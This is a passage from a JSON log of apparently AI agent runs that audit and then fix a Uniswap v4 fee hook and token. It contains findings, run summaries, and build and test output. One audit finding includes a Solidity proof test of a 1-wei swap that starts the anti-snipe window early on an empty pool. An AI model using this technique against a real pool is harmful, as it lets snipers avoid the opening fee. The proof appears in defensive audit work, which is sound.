Hooks.validateHookPermissions is enforced in the constructor; constructor parameter order is (poolManager, imd, token, vault, factory) as the launch states; the token is a fixed 1e27-supply ERC-20 with no constructor arguments, owner, mint, burn, tax, pause, blacklist or hooks; no DELEGATECALL, CALLCODE, SELFDESTRUCT, proxy, initializer or post-deployment setter exists in either contract. No critical, high or medium defect was found.","line":27,"path":"src/KeptHook.sol","reproduction":"Not a defect. Commands: `forge test --offline`; `forge test --offline --match-path test/scratch/Edge.t.sol -vv`.","severity":"info","snippet":"contract KeptHook is IUnlockCallback {","title":"Coverage: contracts read, checks run, and what could not be reached"}],"hash":"c833cc8a325eb81573fb70bb786338436a867fd95e604ed498b8fb2db07ac059","nodeId":"51bbf747-269e-48e0-bba7-9fd273b01a17","outcome":"completed","summary":"The review is complete. The findings file is in place and validates, the quoted snippets match their lines exactly, and the scratch tests have been removed so the tree is unchanged apart from `.imd-findings.json`.\n\n**Outcome: no critical, high or medium defects in the hook or token.** Two low findings and one coverage note were written to `.imd-findings.json`.\n\n**What I read.** `src/KeptHook.sol`, `src/KeptToken.sol`, `src/libraries/SpecifiedAmount.sol`, `src/libraries/HookFlags.sol`, the vault's `fundReferee` and exact-pull path, the hook tests and fixtures, the spec and verification docs, the vault launch manifest, and the v4-core delta plumbing the hook relies on. I did not read the rest of `KeptVault` (separately launched and audited) or the web and script code. The live Robinhood bytecode for IMD, the PoolManager and the deployed vault could not be reached offline, so the fork rehearsal was not re-run.\n\n**What I checked and found clean.** The full offline suite passes with 133 tests and the one fork test skipped. All four swap modes charge the scheduled fee on the IMD leg only, in both currency orders, with partial fills and tick crossings fuzzed. Claim accounting nets to zero inside the manager's unlock. `sweep()` is permissionless and guarded against reentry and in-unlock calls, and the deployed vault's IMD address matches the hook's argument, so fees cannot be stranded. `beforeInitialize` is PoolManager-only, factory-only, single-use, pins fee 12500 and tick spacing 60, and returns the right selector. Permissions match 0x20cc and the constructor order matches the launch statement. The token has no constructor arguments, owner, mint, pause, blacklist or tax, and neither contract contains DELEGATECALL, SELFDESTRUCT, a proxy or a post-deployment setter.\n\n**Findings.**\n- **Low, fee rounds down to zero on small swaps.** All fee formulas floor. At 1% any IMD leg up to 99 wei pays nothing, and at 20% anything up to 4 wei pays nothing. Bounded to 1 wei per swap and unprofitable to exploit, but fees should round up.\n- **Low, anti-snipe clock starts at initialize.** `openedAt` is set in `beforeInitialize`, so if the factory seeds liquidity in a later transaction the 20% window can fully decay before the first trade is possible. The adapter should confirm the factory initializes and seeds atomically, or the author should start the clock on the first swap.\n\n**Next.** The adapter can proceed with the contracts as they are. Nothing in these findings requires a source change before launch, though the rounding fix is a one-line improvement if the author wants it.","treeHash":null,"usage":{"cachedInputTokens":878023,"inputTokens":290,"model":"claude-fable-5-1","outputTokens":32661,"runtime":"claude","turns":27,"wallClockMs":502637}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"6ed09c2eb1ff6aec","findings":[],"hash":"ca8fe15bd8182208e521277842fd31ad196382b0aff8b2c3bff0c3aedaa9fe43","nodeId":"31fa3104-7e9a-4401-9269-f2d062ddca84","outcome":"completed","summary":"The offline test suite has now finished: 153 tests passed, none failed and 1 was skipped (154 in total). The review result is the same: no defects found, and `.imd-findings.json` already has the coverage record for all 22 entry points.","treeHash":null,"usage":{"cachedInputTokens":95258,"inputTokens":6,"model":"claude-opus-5-5","outputTokens":249,"runtime":"claude","turns":2,"wallClockMs":273247}},{"artifacts":[],"attempt":1,"bundleHash":"311e98da655b473d707fb39c5bea80902f1d3995fe333ffc3561991cf337f975","device":"e67cc6ec4009b226","findings":[{"description":"In beforeSwap's exact-input branch, when requested == 1 the reserve is ceil(1 * rate / 10_000) = 1 at every rate, so the quote is for 0 and SpecifiedAmount.filled returns 0, which equals budget - reserve. The `fill == budget - reserve` shortcut then charges the whole reserve (1 wei) although nothing traded against liquidity, and _accrue sets openedAt. openedAt's own comment says it stays zero 'so the opening window cannot elapse before the pool holds liquidity anyone can trade against', and test_openingClockNeedsAnIMDLeg / the fork rehearsal rely on liquidity possibly being seeded after initialization. Anyone can therefore, for 1 wei, start the 20% -> 1% decay on a freshly initialized pool before liquidity is added; if seeding happens 30 minutes or more later, snipers trade at the 1% steady fee and the anti-snipe window is lost. The same 1-wei charge applies whenever the price already sits at the swap's limit. Only matters if initialize and the first liquidity are not in the same transaction.","line":144,"path":"src/KeptHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IHooks} from \"v4-core/src/interfaces/IHooks.sol\";\nimport {IUnlockCallback} from \"v4-core/src/interfaces/callback/IUnlockCallback.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"v4-core/src/types/Currency.sol\";\nimport {BalanceDelta} from \"v4-core/src/types/BalanceDelta.sol\";\nimport {SwapParams} from \"v4-core/src/types/PoolOperation.sol\";\nimport {TickMath} from \"v4-core/src/libraries/TickMath.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport {KeptToken} from \"src/KeptToken.sol\";\nimport {KeptHook} from \"src/KeptHook.sol\";\n\ncontract ProofIMD is ERC20 {\n    constructor() ERC20(\"IMD\", \"IMD\") {\n        _mint(msg.sender, 1e30);\n    }\n}\n\ncontract ProofVault {\n    function fundReferee(uint256 amount) external {\n        IERC20(msg.sender).balanceOf(address(this));\n        amount;\n    }\n}\n\ncontract ProofRouter is IUnlockCallback {\n    IPoolManager immutable manager;\n\n    constructor(IPoolManager m) {\n        manager = m;\n    }\n\n    function swap(PoolKey memory key, SwapParams memory p) external returns (BalanceDelta d) {\n        d = abi.decode(manager.unlock(abi.encode(msg.sender, key, p)), (BalanceDelta));\n    }\n\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        (address payer, PoolKey memory key, SwapParams memory p) = abi.decode(data, (address, PoolKey, SwapParams));\n        BalanceDelta d = manager.swap(key, p, \"\");\n        _settle(key.currency0, d.amount0(), payer);\n        _settle(key.currency1, d.amount1(), payer);\n        return abi.encode(d);\n    }\n\n    function _settle(Currency c, int128 delta, address payer) private {\n        if (delta < 0) {\n            manager.sync(c);\n            IERC20(Currency.unwrap(c)).transferFrom(payer, address(manager), uint256(-int256(delta)));\n            manager.settle();\n        } else if (delta > 0) {\n            manager.take(c, payer, uint128(delta));\n        }\n    }\n}\n\n/// The opening window must not start before the pool holds liquidity anyone can trade against.\n/// A 1-wei exact-input IMD swap against an empty pool is charged the whole wei and starts it.\ncontract OneWeiOpensClockProof is Test {\n    function test_oneWeiSwapOnEmptyPoolMustNotStartOpeningWindow() public {\n        vm.warp(10_000);\n        IPoolManager manager = IPoolManager(address(new PoolManager(address(this))));\n        KeptToken kept = new KeptToken();\n        ProofIMD imd = new ProofIMD();\n        address at = address(uint160(0x4b4550540000000000000000000000000000) << 14 | 0x20cc);\n        deployCodeTo(\n            \"KeptHook.sol:KeptHook\",\n            abi.encode(manager, address(imd), address(kept), address(new ProofVault()), address(this)),\n            at\n        );\n        KeptHook hook = KeptHook(at);\n        bool imd0 = address(imd) < address(kept);\n        PoolKey memory key = PoolKey(\n            Currency.wrap(imd0 ? address(imd) : address(kept)),\n            Currency.wrap(imd0 ? address(kept) : address(imd)),\n            12500,\n            60,\n            IHooks(at)\n        );\n        manager.initialize(key, TickMath.getSqrtPriceAtTick(0));\n        ProofRouter router = new ProofRouter(manager);\n        imd.approve(address(router), type(uint256).max);\n\n        // No liquidity has been added. Buy KEPT with exactly 1 wei of IMD.\n        SwapParams memory p = SwapParams(imd0, -1, TickMath.getSqrtPriceAtTick(imd0 ? int24(-1200) : int24(1200)));\n        router.swap(key, p);\n\n        // Expected: no trade against liquidity happened, so no fee and the window is still closed.\n        assertEq(hook.collected(), 0, \"fee charged on a swap that moved nothing through the pool\");\n        assertEq(hook.openedAt(), 0, \"opening window started on an empty pool\");\n    }\n}","reproduction":"Local PoolManager, KeptHook at a 0x20cc address, pool KEPT/IMD fee 12500 spacing 60 initialized at tick 0 with NO liquidity. Swap zeroForOne toward IMD-in exact input amountSpecified = -1 with an unhit price limit. Expected: hook.collected() == 0 and hook.openedAt() == 0 (no IMD moved through the pool). Actual: hook.collected() == 1 and hook.openedAt() == block.timestamp. Suggested fix: charge nothing when fill == 0 in the exact-input branch (e.g. `fee = fill == 0 ? 0 : ...`).","severity":"medium","title":"A 1-wei exact-input IMD swap on an empty pool is charged 1 wei and starts the 30-minute opening window"}],"hash":"cdbe70deee8cf276646e70ce070a64b4a69ed2ce2880318b54eb60621e2e9c80","nodeId":"26a1acd3-d549-42f0-9316-e8ab9688a309","outcome":"completed","summary":"I found one defect in the hook and added three test files. `forge test --offline` with the verifier's seed passes: 199 passed, 0 failed, 1 skipped (the fork suite, which only runs on a Robinhood fork). Nothing under `src/` changed. The files are uncommitted because this machine has no git identity set.\n\n**Finding (medium), written to `.imd-findings.json` with a test that proves it** (`src/KeptHook.sol:144`):\n- **What happens:** a 1-wei exact-input IMD swap on a pool with no liquidity is charged 1 wei, and that sets `openedAt`. The quote comes out as 0, and the shortcut `fill == budget - reserve` then charges the whole 1-wei reserve even though nothing traded against liquidity.\n- **Impact:** if the pool is initialized and liquidity is added in separate transactions, anyone can start the 20%→1% decay early for 1 wei. Liquidity added 30 minutes or more later gets no 20% opening fee. The contract's own comment on `openedAt` and the fork rehearsal (which adds liquidity after initialization) both assume this can't happen. It doesn't matter if the factory initializes and adds liquidity in one transaction.\n- **Proof:** an empty pool and a swap of `-1`. Expected `collected == 0` and `openedAt == 0`; actual `1` and the current block time. The proof test fails on the current code. The suggested fix is to charge nothing when `fill == 0`. I didn't test that fix, because `src/` is outside what I'm allowed to change.\n\nI didn't write a passing test that treats this behaviour as correct. The new invariants still pass with it, because they only check that a fee and the opening clock always go together.\n\n**New tests:**\n- **`test/KeptHookInvariant.t.sol`** runs random sequences from three traders: swaps in all four modes (some with price limits), adding and removing liquidity, IMD sent straight to the hook, sweeps by anyone, sweeps attempted during an unlock, and time passing. It runs in both currency orders. The invariants:\n  - what the hook holds always equals fees charged plus IMD sent to it minus what was swept;\n  - every swept wei shows up in the Referee Fund;\n  - each fee is exactly the rounded-up percentage of the IMD that moved, and KEPT is never charged;\n  - the opening clock starts once and is never reset;\n  - the fee never goes up and stays between 1% and 20%;\n  - KEPT supply stays fixed and fully accounted for, and the PoolManager holds the IMD behind the hook's claims.\n  \n  The handler records rule-breaks in counters instead of asserting (failing asserts in a handler would be silently ignored here). A final check fails any run where no swap succeeded. I checked separately that 40 out of 40 handler swaps executed and were charged.\n- **`test/KeptHookFailurePaths.t.sol`**, in both currency orders:\n  - **Pool creation:** it is refused for a wrong fee, a dynamic fee, a wrong tick spacing, a pair without KEPT or without IMD, native ETH, or a key naming another hook. A stranger can't initialize the pool first to block the factory. Even the factory can't open a second pool.\n  - **Deployment:** zero addresses for the manager, IMD or token are refused, and so are addresses with the wrong permission bits.\n  - **Sweeps and callbacks:** the callback can only run inside a sweep. An empty sweep does nothing and doesn't call the vault with 0. Repeated sweeps never pay twice.\n  - **Swap edges:** zero-amount swaps and price limits on the wrong side are rejected. Requests larger than int128 are charged on what actually fills.\n  - **Admin surface:** the hook refuses ETH and has no owner, upgrade or proxy functions.\n  - **Fee schedule:** a fuzz test over 1,000 runs checks the fee only goes down and stays in bounds.\n- **`test/KeptTokenInvariant.t.sol`** fuzzes random transfers, approvals and `transferFrom` calls (self-transfers, zero amounts, over-spends). It checks that balances always add up to the fixed supply, that allowances match a mirrored record, and that each call succeeds or fails exactly as its inputs say it should. It also has unit tests for t","treeHash":"e825bfc24aa05241ea2c9075219fd3441e3fb959","usage":{"cachedInputTokens":1562403,"inputTokens":44,"model":"claude-opus-5-5","outputTokens":35089,"runtime":"claude","turns":24,"wallClockMs":718850}},{"artifacts":[],"attempt":1,"bundleHash":"35839a8ab61c6f1389b97383fc3b00a76b57cdfc6230e8b49dd2c93bf73c12a3","device":"61b4050710026370","findings":[],"hash":"d4537e949ef030241ec448b46e01d02588de07c06741ddd776de4d5ddc9f32ee","nodeId":"5d7b16a4-f321-4150-8c86-eb6d59a6b8df","outcome":"completed","summary":"Done. The repository now launches as the brief describes, with both reproducible audit findings fixed and tested, and a fresh fork rehearsal recorded.\n\n**What was already right and left alone**\n- `src/KeptToken.sol` met every token rule (no arguments, 18 decimals, 10^27 minted to the deployer, no admin surface), so only tests were added.\n- The hook's constructor signature, argument order, permissions, factory-only initialization and swap callbacks already matched the launch. The constructor makes no external calls, so it deploys on an empty chain.\n\n**Contract changes in `src/KeptHook.sol`, each from an audit finding**\n- Fee rounding (finding d96e756a): every fee expression now rounds up through one private helper, so any swap that moves IMD pays at least one wei. The four swap modes all charge the ceiling of gross IMD times the rate.\n- Opening window (finding 79f4aafb): the clock now starts at the first swap that moves IMD instead of at pool initialization. A pool seeded after initialization still opens at 20 percent, and an empty-pool swap does not start the window.\n- The coverage finding needed no change.\n\n**Tests**\n- Fixture asserts the ceiling formula, the fee bound and the clock behaviour in both currency orders. New regression tests cover the audit's dust cases, the late-seeding case, constructor order and double initialization.\n- New `test/KeptToken.t.sol` and `test/KeptHookLaunch.t.sol` (empty chain id 4663, CREATE2 at a mined 0x20cc address with the exact launch arguments, no value, opcode scan).\n- Offline suite with the verifier's fuzz seed: 153 passed, 0 failed, 1 skipped (fork suite).\n- Fork rehearsal on Robinhood block 92017157 against the live PoolManager, IMD and the deployed vault: 2 passed. It checks that only the factory can initialize, the late first trade pays the opening fee, a 4 wei buy pays 1 wei, and a third-party sweep funds the deployed vault's Referee Fund exactly.\n\n**Docs**\n- `ADAPTATION.md` rewritten for this launch; the vault launch's notes moved to `docs/launches/vault-2172.adaptation.md`.\n- README, SPEC and VERIFICATION updated with the constructor table, fee semantics, callbacks and the rehearsal record. The web ABI for the hook was regenerated for the new event.\n\nOne point for the reviewer: the brief keeps the fee in IMD and sweeps it to the vault, which the README states explicitly, since the generic reference would otherwise expect ETH settlement. Nothing was committed, since no commit was requested; the working tree holds all changes, including the staged rename.","treeHash":"682e7c3743a4ecc43c6abdd3985d077e44a9e3ec","usage":{"cachedInputTokens":1762055,"inputTokens":546,"model":"claude-fable-5-1","outputTokens":55549,"runtime":"claude","turns":56,"wallClockMs":942476}}],"verification":[{"checks":[{"durationMs":192282,"exitCode":0,"name":"build","output":"Compiling 120 files with Solc 0.8.26\nSolc 0.8.26 finished in 192.08s\nCompiler run successful!\n","passed":true},{"durationMs":17610,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/fork/Robinhood.t.sol:RobinhoodForkTest\n[SKIP: skipped] setUp() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 1 skipped; finished in 740.32µs (0.00ns CPU time)\n\nRan 1 test for test/RealAttestation.t.sol:RealAttestationTest\n[PASS] test_liveSignatureRecoversTheLiveSigner() (gas: 12095)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 630.02µs (386.20µs CPU time)\n\nRan 4 tests for test/OracleConformance.t.sol:OracleConformanceTest\n[PASS] test_acceptsTheProtocolSignature() (gas: 20019)\n[PASS] test_callbackSelectorIsCanonical() (gas: 3543)\n[PASS] test_digestMatchesTheProtocol() (gas: 13531)\n[PASS] test_keptVerdictFromTheVectorKey() (gas: 1339588)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 4.17ms (1.49ms CPU time)\n\nRan 2 tests for test/KeptHook.t.sol:KeptHookOpeningTokenFirstTest\n[PASS] test_oneWeiSwapOnEmptyPoolIsChargedButDoesNotOpenTheWindow() (gas: 921008)\n[PASS] test_oneWeiSwapOnSeededPoolDoesNotOpenTheWindowEither() (gas: 649795)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 4.62ms (2.13ms CPU time)\n\nRan 2 tests for test/KeptHook.t.sol:KeptHookOpeningTest\n[PASS] test_oneWeiSwapOnEmptyPoolIsChargedButDoesNotOpenTheWindow() (gas: 930834)\n[PASS] test_oneWeiSwapOnSeededPoolDoesNotOpenTheWindowEither() (gas: 661826)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 5.36ms (2.45ms CPU time)\n\nRan 2 tests for test/KeptVaultTokenCompatibility.t.sol:KeptVaultTokenCompatibilityTest\n[PASS] test_standardTokenSharedPledgesSettleAndRefundIndependently() (gas: 1956008)\n[PASS] test_unsupportedBalanceShrinkCanStrandLastTrancheAndBudget() (gas: 1167841)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 9.53ms (2.59ms CPU time)\n\nRan 1 test for test/KeptVaultActorsInvariant.t.sol:ActorsHandlerReachTest\n[PASS] test_handlerReachesEveryPath() (gas: 5595952)\nLogs:\n  Bound result 2\n  Bound result 7200\n  Bound result 1000000000000000000\n  Bound result 7200\n  Bound result 1000000000000000000\n  Bound result 2000000000000000000\n  Bound result 1\n  Bound result 7200\n  Bound result 500000000000000000\n  Bound result 1000000000000000000\n  Bound result 1000000000000000000\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 2\n  Bound result 42\n  Bound result 259200\n  Bound result 259200\n  Bound result 1\n  Bound result 2\n  Bound result 1\n  Bound result 2\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 21.10ms (7.25ms CPU time)\n\nRan 5 tests for test/KeptToken.t.sol:KeptTokenTest\n[PASS] testFuzz_transferConservesSupply(uint256) (runs: 256, μ: 80301, ~: 80728)\nLogs:\n  Bound result 222904432822423753118567532\n\n[PASS] test_approveAndTransferFrom() (gas: 325364)\n[PASS] test_metadataAndSupply() (gas: 54335)\n[PASS] test_noAdminSurface() (gas: 146892)\n[PASS] test_transfer() (gas: 143301)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 128.04ms (128.62ms CPU time)\n\nRan 3 tests for test/KeptVaultLaunch.t.sol:KeptVaultLaunchTest\n[PASS] test_constructorRejectsNativeValue() (gas: 2066681)\n[PASS] test_exactLaunchArgumentsDeployOnEmptyChainWithoutInitialization() (gas: 6852797)\n[PASS] test_runtimeFitsAndHasNoForbiddenOpcodes() (gas: 31002565)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 242.25ms (99.10ms CPU time)\n\nRan 14 tests for test/KeptVaultAudit.t.sol:KeptVaultAuditTest\n[PASS] testFuzz_explicitPriceLimit(uint96,uint96) (runs: 256, μ: 887470, ~: 589240)\nLogs:\n  Bound result 17462\n  Bound result 20709\n\n[PASS] testFuzz_snapshotCheckClosesAtDeadline(uint8,uint32) (runs: 256, μ: 717503, ~: 704682)\nLogs:\n  Bound result 3\n  Bound result 3\n\n[PASS] testFuzz_snapshotRejectsVerdictIssuedAfterDeadline(uint8,uint32) (runs: 256, μ: 1557440, ~: 1563568)\nLogs:\n  Bound result 3\n  Bound result 20709\n\n[PASS] testFuzz_snapshotSignedAtDeadlineCanArriveLater(uint8,uint32) (runs: 256, μ: 1580491, ~: 1586605)\nLogs:\n  Bound result 3\n  Bound result 20709\n\n[PASS] test_checkOpenDistinguishesDefaultAndExplicitPriceCaps() (gas: 505594)\n[PASS] test_creatorCanCheckWhenAlsoBeneficiary() (gas: 1404603)\n[PASS] test_creatorCannotExhaustBeneficiaryAttempts() (gas: 1591611)\n[PASS] test_creatorCannotUseExplicitPriceCheckOrClearStaleAsSideEffect() (gas: 1243379)\n[PASS] test_defaultPriceCapRejectsRepricedIntake() (gas: 588079)\n[PASS] test_defaultPriceCapSurvivesTimelockedIntakeReplacement() (gas: 1376226)\n[PASS] test_explicitCapCanAcceptNewPriceAndRebateActualPrice() (gas: 1507048)\n[PASS] test_githubPublicationDeadlineStillAllowsGraceCheck() (gas: 1443934)\n[PASS] test_priceCapFailureDoesNotClearStaleCheck() (gas: 1282371)\n[PASS] test_zeroQuoteRemainsInvalidEvenWithExplicitCap() (gas: 497017)\nSuite result: ok. 14 passed; 0 failed; 0 skipped; finished in 300.26ms (777.74ms CPU time)\n\nRan 5 tests for test/KeptHookLaunch.t.sol:KeptHookLaunchTest\n[PASS] test_constructorsRejectNativeValue() (gas: 2750902)\n[PASS] test_hookDeploysOnAnEmptyChainWithLaunchArguments() (gas: 4933152)\n[PASS] test_hookRefusesAnAddressWithoutItsPermissionBits() (gas: 1074487)\n[PASS] test_runtimesFitAndHaveNoForbiddenOpcodes() (gas: 18278136)\n[PASS] test_tokenMintsTheWholeSupplyToItsDeployer() (gas: 25482)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 312.18ms (104.06ms CPU time)\n\nRan 19 tests for test/KeptHook.t.sol:KeptHookTokenFirstTest\n[PASS] testFuzz_crossTicks(bool,bool,uint96,uint16) (runs: 256, μ: 1296800, ~: 1299674)\nLogs:\n  Bound result 10\n  Bound result 899000000000000000049859727\n\n[PASS] testFuzz_dustSwapsAlwaysPay(bool,bool,uint16,uint16) (runs: 256, μ: 745037, ~: 744089)\nLogs:\n  Bound result 266\n  Bound result 2591\n\n[PASS] testFuzz_feeAndPartialFills(bool,bool,uint96,uint32,bool) (runs: 256, μ: 752924, ~: 754197)\nLogs:\n  Bound result 30\n  Bound result 139300581170469283000006\n\n[PASS] test_allModesAtOpeningMidpointAndAfter() (gas: 6268154)\n[PASS] test_callbacksOnlyManager() (gas: 120200)\n[PASS] test_constructorArgumentsInLaunchOrder() (gas: 56290)\n[PASS] test_constructorRejectsBadConfig() (gas: 10801)\n[PASS] test_dustSwapsRoundTheFeeUp() (gas: 4076987)\n[PASS] test_feeSchedule() (gas: 3385826)\n[PASS] test_noLiquidityNoFee() (gas: 207898)\n[PASS] test_onlyFactoryInitializes() (gas: 246439)\n[PASS] test_onlyOnePoolEver() (gas: 45818)\n[PASS] test_openingClockNeedsAnIMDLeg() (gas: 858253)\n[PASS] test_openingClockStartsAtFirstSwapNotInitialize() (gas: 1097793)\n[PASS] test_partialFillsAllModes() (gas: 2953993)\n[PASS] test_permissionBits() (gas: 5905)\n[PASS] test_sweepDuringUnlockDefers() (gas: 600448)\n[PASS] test_sweepFundsTheReferee() (gas: 1276209)\n[PASS] test_sweepIncludesDirectDonations() (gas: 177985)\nSuite result: ok. 19 passed; 0 failed; 0 skipped; finished in 312.26ms (839.35ms CPU time)\n\nRan 19 tests for test/KeptHook.t.sol:KeptHookTest\n[PASS] testFuzz_crossTicks(bool,bool,uint96,uint16) (runs: 256, μ: 1306192, ~: 1276057)\nLogs:\n  Bound result 2970\n  Bound result 899000000000000000000001569\n\n[PASS] testFuzz_dustSwapsAlwaysPay(bool,bool,uint16,uint16) (runs: 256, μ: 756615, ~: 756397)\nLogs:\n  Bound result 1096\n  Bound result 3674\n\n[PASS] testFuzz_feeAndPartialFills(bool,bool,uint96,uint32,bool) (runs: 256, μ: 763368, ~: 762034)\nLogs:\n  Bound result 3574\n  Bound result 1716\n\n[PASS] test_allModesAtOpeningMidpointAndAfter() (gas: 6264779)\n[PASS] test_callbacksOnlyManager() (gas: 119485)\n[PASS] test_constructorArgumentsInLaunchOrder() (gas: 56290)\n[PASS] test_constructorRejectsBadConfig() (gas: 10801)\n[PASS] test_dustSwapsRoundTheFeeUp() (gas: 4095208)\n[PASS] test_feeSchedule() (gas: 3396858)\n[PASS] test_noLiquidityNoFee() (gas: 216672)\n[PASS] test_onlyFactoryInitializes() (gas: 245701)\n[PASS] test_onlyOnePoolEver() (gas: 45590)\n[PASS] test_openingClockNeedsAnIMDLeg() (gas: 861124)\n[PASS] test_openingClockStartsAtFirstSwapNotInitialize() (gas: 1113006)\n[PASS] test_partialFillsAllModes() (gas: 2961581)\n[PASS] test_permissionBits() (gas: 5905)\n[PASS] test_sweepDuringUnlockDefers() (gas: 611252)\n[PASS] test_sweepFundsTheReferee() (gas: 1281506)\n[PASS] test_sweepIncludesDirectDonations() (gas: 177985)\nSuite result: ok. 19 passed; 0 failed; 0 skipped; finished in 312.36ms (762.97ms CPU time)\n\nRan 43 tests for test/KeptVault.t.sol:KeptVaultTest\n[PASS] test_attestationCannotBeReplayedOnAnotherCheck() (gas: 1726979)\n[PASS] test_callbackOnlyFromIntake() (gas: 1254102)\n[PASS] test_callbackRejectsExpiredAttestation() (gas: 1264729)\n[PASS] test_callbackRejectsUnknownRequest() (gas: 1254900)\n[PASS] test_callbackRejectsWeakOrMismatchedAttestations() (gas: 1991894)\n[PASS] test_callbackRejectsWrongAnswerType() (gas: 1289194)\n[PASS] test_callbackRejectsWrongSigner() (gas: 1270836)\n[PASS] test_chainEvidenceAcceptsDeployerSettledVerdict() (gas: 1240396)\n[PASS] test_checkNeedsBudget() (gas: 1237961)\n[PASS] test_checkOpenReportsBudget() (gas: 543071)\n[PASS] test_checkPaysIntakeFromBudget() (gas: 1267661)\n[PASS] test_checkRejectsIntakeThatDoesNotPull() (gas: 1014807)\n[PASS] test_checkRejectsRepeatedRequestId() (gas: 1697655)\n[PASS] test_createPullsTokensAndBudget() (gas: 477341)\n[PASS] test_createRejectsBadQuestionStrings() (gas: 2756885)\n[PASS] test_createRejectsTaxedToken() (gas: 1114020)\n[PASS] test_createValidatesMilestones() (gas: 704836)\n[PASS] test_createValidatesPledge() (gas: 192120)\n[PASS] test_falseVerdictKeepsMilestoneOpen() (gas: 1861435)\n[PASS] test_inFlightCheckStaysBoundToItsIntake() (gas: 1486471)\n[PASS] test_isoDate() (gas: 41366)\n[PASS] test_keptPaysBeneficiaryAndReturnsBudget() (gas: 1528583)\n[PASS] test_keptRebatesFromRefereeFund() (gas: 1579314)\n[PASS] test_multiMilestoneMixedOutcomes() (gas: 3152001)\n[PASS] test_newChecksUseTheRotatedSigner() (gas: 1529920)\n[PASS] test_noRebateWhenFundIsShort() (gas: 1424042)\n[PASS] test_oneCheckInFlight() (gas: 1172688)\n[PASS] test_onlyBeneficiaryChecksBeforeDeadline() (gas: 1177243)\n[PASS] test_onlyBeneficiaryChecksEvenAfterDeadline() (gas: 1264896)\n[PASS] test_ownerHasNoPathToLockedTokens() (gas: 540546)\n[PASS] test_panelChangeOnlyAffectsNewPledges() (gas: 871407)\n[PASS] test_panelEvidenceNeedsQuorumAgreement() (gas: 1286460)\n[PASS] test_protocolChangeWaitsSevenDays() (gas: 224290)\n[PASS] test_questionBodies() (gas: 68804)\n[PASS] test_questionOfMatchesPreview() (gas: 496487)\n[PASS] test_settleBurnsAfterStaleLastCheck() (gas: 1368568)\n[PASS] test_settleTwiceReverts() (gas: 528241)\n[PASS] test_settleWaitsForCheckInFlight() (gas: 1450907)\n[PASS] test_signerRotationDoesNotStrandChecksInFlight() (gas: 1496054)\n[PASS] test_staleCheckRetriesAndAttemptsCap() (gas: 1744575)\n[PASS] test_unprovenMilestoneBurns() (gas: 644737)\n[PASS] test_valueTemplateRejectsZeroThreshold() (gas: 195184)\n[PASS] test_withdrawBudgetOnlyWhenFinished() (gas: 844312)\nSuite result: ok. 43 passed; 0 failed; 0 skipped; finished in 312.35ms (46.73ms CPU time)\n\nRan 33 tests for test/KeptVaultFailurePaths.t.sol:KeptVaultFailurePathsTest\n[PASS] testFuzz_setPanelAcceptsExactlyAStrictMajority(uint16,uint16) (runs: 1000, μ: 58892, ~: 58236)\nLogs:\n  Bound result 56\n  Bound result 106\n\n[PASS] testFuzz_settlementSplitsExactly(uint8,uint256,uint96) (runs: 500, μ: 3517172, ~: 2936196)\nLogs:\n  Bound result 7\n  Bound result 3106748337\n\n[PASS] test_adminFunctionsAreOwnerOnly() (gas: 95606)\n[PASS] test_attackerIntakeCannotDeliver() (gas: 1948716)\n[PASS] test_attestationIssuedTooFarInTheFutureIsRefused() (gas: 1383449)\n[PASS] test_cancelAndExecuteNeedAPendingChange() (gas: 247717)\n[PASS] test_checkRefusedOnceKeptOrSettled() (gas: 1719481)\n[PASS] test_checkUnknownPledgeOrMilestone() (gas: 585394)\n[PASS] test_clearStaleFailurePathsAndBoundary() (gas: 1518075)\n[PASS] test_constructorPanelEdges() (gas: 13400)\n[PASS] test_constructorRejectsMissingAddresses() (gas: 11494)\n[PASS] test_creatorWithoutAllowanceCannotCreate() (gas: 366975)\n[PASS] test_duplicateDeliveryIsRefused() (gas: 1455648)\n[PASS] test_emptyAndMalleatedSignaturesAreRefused() (gas: 1451766)\n[PASS] test_expiryBeforeIssueIsRefused() (gas: 1288289)\n[PASS] test_fundFailurePaths() (gas: 621946)\n[PASS] test_imdAsPledgeTokenStaysApartFromBudgets() (gas: 1583377)\n[PASS] test_keptSettlementByAnyoneAlwaysPaysTheBeneficiary() (gas: 1423159)\n[PASS] test_lateAnswerAfterBurnIsRefused() (gas: 1370427)\n[PASS] test_noThenKeptPaysOutAndRebatesOnlyTheKeptCheck() (gas: 2019343)\n[PASS] test_ownerHandoverMovesTheRole() (gas: 104374)\n[PASS] test_pledgesAreIsolated() (gas: 2701013)\n[PASS] test_proposeRejectsZeroFields() (gas: 92190)\n[PASS] test_reentrantTokenCannotReenterSettle() (gas: 2945041)\n[PASS] test_renouncedOwnerCannotAdminister() (gas: 114808)\n[PASS] test_reproposalRestartsTheDelayAndExecutesOnce() (gas: 264436)\n[PASS] test_retiredIntakeCannotAnswerTheNewIntakesRequests() (gas: 2209969)\n[PASS] test_settleBoundaryIsStrictlyAfterGrace() (gas: 590082)\n[PASS] test_signatureForAnotherVaultIsRefused() (gas: 1284780)\n[PASS] test_threeNoVerdictsExhaustAttempts() (gas: 2583960)\n[PASS] test_withdrawUnknownPledgeAndEmptyBudget() (gas: 474327)\n[PASS] test_worstCaseCallbackFitsTheStipend() (gas: 4485373)\n[PASS] test_zeroQuoteRefusesCheckAndSpendsNothing() 